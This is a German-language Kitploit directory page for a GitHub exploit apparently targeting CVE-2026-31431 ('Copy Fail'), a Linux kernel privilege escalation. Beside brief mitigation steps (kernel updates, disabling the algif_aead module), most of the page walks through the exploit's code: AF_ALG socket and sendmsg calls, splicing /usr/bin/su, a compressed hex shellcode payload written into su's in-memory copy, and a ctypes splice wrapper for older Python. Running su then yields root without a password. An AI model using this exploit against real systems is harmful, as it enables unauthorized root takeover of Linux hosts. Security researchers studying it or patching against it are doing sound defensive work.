Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431 — Copy Fail - CVE-2026-31431 | Kitploit
Tools/GitHubGitHub/juanbindez/cve-2026-31431
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationShellcodePayload-EntwicklungBinary-Exploitation
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

Copy Fail - CVE-2026-31431

Repository anzeigen
1756vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31431


Copy Fail - Details zu CVE-2026-31431

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


Getestete Distribution / Version

DistributionVersion
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Exploit-Ausführung

root@kitploit:~
main.py

Befehls-ID

root@kitploit:~
id

Wenn so etwas erscheint, haben Sie jetzt Root-Zugriff.

Bild

Die Behebung dauert nur wenige Minuten.

Option 1: Aktualisieren Sie Ihren Kernel (empfohlen)

root@kitploit:~
Für Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
Für RHEL-basierte Systeme: sudo yum update

Starten Sie dann Ihren Server neu.

Option 2: Deaktivieren Sie das betroffene Modul (temporäre Behebung)

Wenn ein Update jetzt nicht möglich ist, deaktivieren Sie das anfällige Modul, um die Angriffsfläche zu reduzieren:

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf; rmmod algif_aead 2>/dev/null || true

Dies beeinträchtigt SSH, TLS, LUKS oder OpenSSL nicht.


Angriffstechnik: CVE-ähnlich (Crypto API + splice)

Dies scheint eine Schwachstelle im AF_ALG-Krypto-Subsystem des Linux-Kernels auszunutzen, kombiniert mit falscher Verwendung von splice()/sendmsg(), um:

  • Kernel-Zeiger preiszugeben
  • Die process task_struct zu beschädigen
  • Die UID auf 0 (root) zu erhöhen

1. AF_ALG Socket-Nutzung (38)

root@kitploit:~
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  • Erstellt einen kryptografischen Socket im Kernel
  • Konfiguriert AES-CBC + HMAC-SHA256-Chiffre
  • Eigentlicher Zweck: Interaktion mit internen Kernel-APIs

2. Obskurer setsockopt-Aufruf (h=279)

root@kitploit:~
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (setzt kryptografischen Schlüssel)
  • Undokumentierte Optionen, die das ALG-Subsystem ausnutzen
  • Schlüssel '0800010000000010' + Nullen – wahrscheinlich Schwachstellenauslöser

3. Hauptangriffstechnik

root@kitploit:~
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • sendmsg mit Hilfsdaten (Steuernachrichten)
  • Das 'i' (Zähler) erzeugt pro Iteration variable Größen
  • Ziel: Heap-Spraying und Kernel-Speicherbeschädigung

4. splice() zwischen Pipes

root@kitploit:~
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

Zero-Copy-Datentransfer zwischen:

root@kitploit:~
/usr/bin/su (Datei) → Pipe → Krypto-Socket

splice vermeidet User→Kernel-Kopien → vollständig im Kernel-Betrieb

5. Dekomprimierte Payload

Hex-Daten:

root@kitploit:~
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

Beginnt mit 78da → zlib-Header

Der dekomprimierte Inhalt enthält wahrscheinlich:

root@kitploit:~
Shellcode (Maschinencode)  
x86_64-Berechtigungserhöhungsanweisungen  

6. Schreiben der Payload in su

root@kitploit:~
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

Beschädigt /usr/bin/su im Speicher (nicht auf der Festplatte)

Der Shellcode wird zur Ausführungszeit in den su-Prozess injiziert

7. Endgültige Ausführung

root@kitploit:~
g.system("su")

[!NOTE] Wenn die Python-Version des Zielsystems <3.10 ist, verwenden Sie den folgenden Code, damit es funktioniert. Stellen Sie jedoch zunächst sicher, dass die Systemaufrufverfügbarkeit überprüft wird.

root@kitploit:~
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

Fügen Sie diesen Code-Ausschnitt unter dem Abschnitt PAYLOAD_COMPRESSED ein:

root@kitploit:~
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

Führt su (Benutzerwechsel) aus — jetzt mit beschädigter Payload

Modifiziertes su gibt root zurück, ohne ein Passwort zu verlangen

Tool herunterladen